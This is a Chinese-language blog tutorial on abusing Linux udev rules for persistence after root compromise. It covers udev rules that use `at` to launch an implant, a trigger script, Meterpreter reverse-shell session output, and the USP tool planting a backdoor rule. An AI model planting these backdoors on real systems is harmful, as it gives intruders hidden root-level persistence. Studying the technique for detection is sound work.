Post

Linux 持久化 - udev

Leveraging Linux udev for persistence

Linux 持久化 - udev


技术来自 https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/ 本文主要是记录 + 翻译。

简介

udev 是 Linux 内核的设备管理器,允许用户管理 /dev/ 目录中的设备并根据硬件事件创建操作。常见的用例包括重命名网络接口或修改特定硬盘插入时的 udevudev 的功能之一是基于硬件事件(例如检测)执行脚本,这使其可被用作持久化。

什么是udev

Arch Wiki:

udev is a userspace system that enables the operating system administrator to register userspace handlers for events. The events received by udev’s daemon are mainly generated by the (Linux) kernel in response to physical events relating to peripheral devices. As such, udev’s main purpose is to act upon peripheral detection and hot-plugging, including actions that return control to the kernel, e.g., loading kernel modules or device firmware. Another component of this detection is adjusting the permissions of the device to be accessible to non-root users and groups. udev is part of systemd and thus installed by default (systemd-udevd.service)

概括如下:

  • 它允许注册对物理事件响应执行的动作,例如连接或断开连接
  • 它是默认安装的,并作为系统服务启用。
  • 它在超级用户 root 的上下文中运行。

udev规则

udev 规则定义事件和要执行的操作之间的关系。他们定义事件处理程序。每个规则都位于一个规则文件中,文件扩展名为 .rules

保存位置

管理员创建的规则位于 /etc/udev/rules.d/ ,系统提供的或动态生成的分别位于 /usr/lib/udev/rules.d//run/udev/rules.d/

处理和执行逻辑

规则被集中排序和处理,不考虑源目录。如果两个或多个规则具有相同的名称,则仅执行优先级最高的规则。优先级是根据规则文件的源目录(字母序)来衡量的: /etc/ > /run/ > /usr/

语法和示例

每个规则都由一系列以逗号分隔的键值对构成。此外,一条规则必须至少包含一个匹配键和一个赋值键:

  • 规则的第一部分由匹配键组成。它们允许您设置操作(例如,插入或拔出)或设备类型(例如,如果是 USB,则仅属于特定设备的特定属性,例如 ID 等)
  • 第二部分是赋值键。它规定了如果先前的匹配键已满则要完成的操作:更改设备名称或其权限、创建符号链接、运行脚本等。 一个典型的 usb 连接规则如下:
1
2
$ cat /etc/udev/rules.d/test.rules
KERNEL=="sdb[0-9]", SUBSYSTEMS=="usb", ENV{ID_SERIAL_SHORT}=="E0D55EA57414F5B1289F03D5", SYMLINK+="super_usb"

可以将 subsystems 指向上层设备,这样即使在系统启动时也会触发规则。比如指向 usb 或者 PCI 子系统:

1
2
$ cat /etc/udev/rules.d/test.rules
SUBSYSTEMS=="usb", RUN+="/bin/sh -c 'touch /home/test/hi.txt'"

滥用 udev 规则来建立持久化

假设已经入侵机器并拥有root权限

udev限制

  • 只能用于运行时间非常短的前台任务
  • 由于systemd-udevd.service 上强制执行的默认沙箱,在 udev 规则内不允许运行访问网络或挂载/卸载文件系统的程序
  • 不允许启动守护进程或其他长时间运行的进程;分叉的进程,无论是否分离,都将在事件处理完成后被无条件终止

绕过udev限制

通过规则创建一个新的独立且分离的进程。

  • 查询GTFOBin使用at来执行。 at允许安排将来命令的执行。查看进程树,它不会附加到udev 进程,因此不会受到限制。
  • 进程注入。在另一个进程中注入植入 shellcode

使用at绕过限制

at 是来自官方存储库的二进制文件,并且默认安装在某些发行版中。 生成调用 at 的规则 ( /etc/udev/rules.d/ttp.rules ),该规则在被调用时立刻执行:

1
SUBSYSTEMS=="usb", RUN+="/usr/bin/at -M -f /home/kali/trigger.sh now"

at指向的脚本 /opt/scripts/trigger.sh

1
2
3
4
5
6
7
8
9
10
#!/bin/bash

# This workaround ensures that the execution is done only once.
# Not very fancy, but quick.

FILE=/home/kali/file_udev$(($(date "+%Y%m%d%H")))
if [ ! -f $FILE ]; then
        touch $FILE
        /home/kali/implant
fi

插入 USB 或者重启系统,将会收到连接。

1
2
3
4
5
6
7
8
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.211.55.2:4444

                                                                                                                                                                                    [*] Sending stage (1017704 bytes) to 10.211.55.14
[*] Sending stage (1017704 bytes) to 10.211.55.14
[*] Sending stage (1017704 bytes) to 10.211.55.14
[*] Meterpreter session 1 opened (10.211.55.2:4444 -> 10.211.55.14:52043) at 2024-08-26 23:26:31 -0400

fetch vivtim's sysinfo

利用工具 USP

https://github.com/grahamhelton/USP

部署持久化,重启时执行:

1
sudo ./usp -p /home/kali/trigger.sh -random

查看部署的后门:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ cat /etc/udev/rules.d/75-persistence.rules
ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/persistence"

$ cat /persistence
#!/bin/bash

# This workaround ensures that the execution is done only once.
# Not very fancy, but quick.

FILE=/home/kali/file_udev$(($(date "+%Y%m%d%H")))
if [ ! -f $FILE ]; then
        touch $FILE
        /home/kali/implant
fi
This post is licensed under CC BY 4.0 by the author.